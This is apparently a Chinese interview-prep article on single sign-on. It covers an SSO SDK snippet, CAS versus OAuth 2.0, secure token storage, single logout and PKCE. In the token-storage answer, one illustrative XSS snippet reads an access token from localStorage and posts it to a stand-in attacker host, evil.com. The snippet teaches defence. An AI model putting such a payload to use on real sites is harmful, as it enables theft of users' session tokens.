// 跳转 SSO 登录
const params = new URLSearchParams({
response_type: 'code',
client_id: this.config.clientId,
redirect_uri: this.config.redirectUri!,
scope: 'openid profile email',
state: crypto.randomUUID(),
});
window.location.href =
this.config.ssoBaseUrl + '/authorize?' + params;
}

logout(): void {
// 跳转 SSO 登出
const params = new URLSearchParams({
client_id: this.config.clientId,
post_logout_redirect_uri: window.location.origin,
});
window.location.href =
this.config.ssoBaseUrl + '/logout?' + params;
}

getAccessToken(): string | null {
return this.tokenMgr.getAccessToken();
}

isAuthenticated(): boolean {
return this.tokenMgr.getAccessToken() !== null;
}

private async handleCallback(): Promise<boolean> {
// 处理授权回调...
return true;
}
}

// 使用方式
const sso = new SSOSDK({
ssoBaseUrl: 'https://sso.example.com',
clientId: 'my-app',
onSessionExpired: () => {
window.location.href = '/login';
},
});

await sso.init();

常见面试问题

Q1: SSO 的核心原理是什么?CAS 和 OAuth 2.0 有什么区别?

答案

SSO 的核心原理是集中认证 + 信任传递

  1. 集中认证:所有子系统共享一个认证中心(SSO Center),用户的凭证(用户名密码)只在 SSO Center 验证
  2. 信任传递:SSO Center 验证成功后,通过某种凭证(Ticket/Token/Cookie)将认证结果传递给各子系统
  3. Session 共享:SSO Center 维护一个全局 Session(TGT),当用户访问新的子系统时,检测到全局 Session 存在,自动完成认证

CAS 和 OAuth 2.0 的核心区别:

维度CASOAuth 2.0
目的纯认证(Authentication)纯授权(Authorization)
凭证Service Ticket(一次性)Access Token(可复用)
用户信息ST 验证时返回需单独调用 API
适用范围企业内部系统开放平台、第三方登录
推荐场景遗留内网系统现代 Web/移动端
面试加分点

提到 OIDC 是 OAuth 2.0 + 身份层的关系,以及 OAuth 2.1 废弃隐式模式的趋势,能体现对协议演进的理解。

Q2: 前端如何安全存储 Token?为什么不能用 localStorage?

答案

Token 存储的安全性分析:

存储方式XSS 风险CSRF 风险刷新页面推荐度
内存(变量)安全丢失Access Token 推荐
HttpOnly Cookie安全需防护保留Refresh Token 推荐
localStorage不安全保留不推荐
sessionStorage不安全关闭即丢临时数据

localStorage 的风险

xss-attack-example.ts
// XSS 攻击者可以轻松读取 localStorage
// 只要页面存在一个 XSS 漏洞,Token 就会被窃取
const stolenToken = localStorage.getItem('access_token');
// 发送到攻击者服务器
fetch('https://evil.com/steal', {
method: 'POST',
body: JSON.stringify({ token: stolenToken }),
});

推荐方案

secure-token-strategy.ts
// 最佳实践:内存 + HttpOnly Cookie 组合
class SecureTokenStorage {
// Access Token 存内存(XSS 无法读取变量)
private accessToken: string | null = null;
// Refresh Token 存 HttpOnly Cookie(JS 完全不可访问)
// 由服务端 Set-Cookie 设置,无需前端处理

setAccessToken(token: string): void {
this.accessToken = token;
}

getAccessToken(): string | null {
return this.accessToken;
}

// 页面刷新后:通过 Refresh Token Cookie 静默换取新的 Access Token
async restore(): Promise<boolean> {
const response = await fetch('/api/auth/refresh', {
method: 'POST',
credentials: 'include', // 自动携带 HttpOnly Cookie
});
if (!response.ok) return false;
const data = await response.json();
this.accessToken = data.accessToken;
return true;
}
}

Q3: 如何实现单点登出(SLO)?有哪些挑战?

答案

单点登出(Single Logout)需要在用户登出时,通知所有已认证的子系统清除本地 Session。主要有两种实现方式:

Back-Channel Logout(推荐)

back-channel-logout.ts
// SSO 中心主动通知各子系统后端
async function backChannelLogout(sessionId: string): Promise<void> {
const session = await sessionStore.get(sessionId);
if (!session) return;

// 并行通知所有已注册的子系统
await Promise.allSettled(
session.registeredClients.map((clientId) =>
fetch(getLogoutUri(clientId), {
method: 'POST',
body: new URLSearchParams({
logout_token: generateLogoutToken(sessionId, clientId),
}),
})
)
);
}

Front-Channel Logout

front-channel-logout.ts
// 通过浏览器端 iframe 请求各子系统登出 URL
function frontChannelLogout(clients: string[]): void {
clients.forEach((logoutUrl) => {
const iframe = document.createElement('iframe');
iframe.src = logoutUrl;
iframe.style.display = 'none';
iframe.onload = () => iframe.remove(); // 加载完即移除
document.body.appendChild(iframe);
});
}

主要挑战

挑战说明解决方案
子系统不可达某子系统宕机,无法接收登出通知Promise.allSettled + 重试 + Token 短有效期
网络延迟通知到达前用户仍在使用Token 短有效期(15 分钟)兜底
浏览器限制Front-Channel 受 SameSite Cookie 影响优先使用 Back-Channel
一致性部分系统登出成功,部分失败最终一致性,定期清理过期 Session

Q4: OAuth 2.0 的 PKCE 是什么?为什么 SPA 必须使用它?

答案

PKCE(Proof Key for Code Exchange,读作 "pixy")是 OAuth 2.0 的安全扩展,防止授权码拦截攻击

为什么 SPA 必须使用

  1. SPA 是纯前端应用,代码完全公开,无法安全存储 client_secret
  2. 没有 PKCE 时,攻击者如果拦截了授权码(通过恶意浏览器扩展、DNS 劫持等),可以直接用 code 换取 Token
  3. PKCE 确保只有发起授权请求的客户端才能完成 Token 交换

PKCE 工作原理

关键点

  • code_verifier 只在客户端生成,不通过 URL 传输,攻击者无法获取
  • 即使攻击者截获了 code,没有 code_verifier 也无法换取 Token
  • code_challenge 是哈希值,不可逆,即使被截获也无法推导出 code_verifier
pkce-verification.ts
// 服务端验证 PKCE
async function verifyPKCE(
codeVerifier: string,
storedCodeChallenge: string
): Promise<boolean> {
const encoder = new TextEncoder();
const data = encoder.encode(codeVerifier);
const digest = await crypto.subtle.digest('SHA-256', data);
const computedChallenge = base64UrlEncode(new Uint8Array(digest));
return computedChallenge === storedCodeChallenge;
}

相关链接